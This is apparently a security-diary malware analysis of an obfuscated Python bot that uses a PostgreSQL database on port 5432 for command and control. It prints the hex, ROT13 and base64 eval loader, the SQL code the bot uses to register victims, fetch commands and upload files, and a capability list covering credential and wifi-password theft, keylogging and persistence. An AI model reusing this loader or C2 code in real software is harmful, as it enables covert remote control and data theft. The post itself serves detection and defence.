Python Malware Using Postgresql for C2 Communications
For modern malware, having access to its C2 (Command and control) is a crucial point. There are many ways to connect to a C2 server using tons of protocols, but today, HTTP remains very common because HTTP is allowed on most networks...
I found a malicious Python script that is pretty well obfuscated. The applied technique reduces its VT score to 6/60! It's based on a mix of Based64- and Hex-encoded data.
joy = '\x72\x6f\x74\x31\x33' trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eva l('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29') eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))
Note that '\x72\x6f\x74\x31\x33' is "ROT13!
If the payload is obfuscated, the following lines attracted my attention at the very beginning of the first-stage script:
host = "akfksfjriwjerijweijriewjesjresjfsdfmsdkfjksdjfksdjfsdf" user = "https://discord.gg/ZHnJfPS6" database = "https://discord.gg/ZHnJfPS6" password = "https://discord.gg/ZHnJfPS6" port = 5432
The port 5432 is used to connect to Postgresql database servers! Unfortunately, it was not possible to get the database server connection details. Probably, the script was submitted to VT as a test. The presence of this line also reveals that SQL queries will be performed:
import psycopg2
The decoded payload contains a lot of SQL queries and reveals C2 communications.
The computer registration:
self.createCur() self.devid = str(randint(0, 999999)) self.cur.execute("INSERT INTO zday (devid, ip, hostname) VALUES ('" + self.devid + "', '" + ip + "', '" + host + "')") self.conn.commit() self.cur.close()
Reception of commands to execute:
self.createCur() self.cur.execute("SELECT command FROM zday WHERE devid = '" + self.devid + "'") res = self.cur.fetchone() command = res[0] if devmode: print("command: " + str(command)) if command is not None: self.cur.close() self.parseCommand(command) else: self.cur.close()
Upload a file:
self.createCur() self.cur.execute(f"UPDATE zday SET file = {psycopg2.Binary(self.get_bytes_from_file(path))} WHERE devid = '" + self.devid + "'") self.conn.commit() self.cur.close()
Thanks to the parseCommand() function analysis, we can build a list of the bot capabilities:
- getPublicIp
- getWifiPasses
- dir
- addToWinStartup
- SVCSploit
- getCDIR
- addLocalToAdmin
- screenshot.get
- getVersion
- sysInfo
- disconnect
- killKeylogger
- fireFig
- userPriv
- storedCred
- netCon
- dnsList
- 'netConf
- arpCache
- localAdmin
- samBak
- schedTasks
- 'regup
- webcamPic
- hideMe
- runas
- timedcommand
- moveScript
- selfUpdate
- msgBox
- changeWallpaper
- getfile
- gotfile
- gotfilekey
I searched for similar scripts with valid credentials, but nothing was found yet. If you spotted the same kind of script, please share!
This is another good proof that egress filtering must be in place to prevent hosts from communicating through exotic ports! (5432 in this case). Stay safe!
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments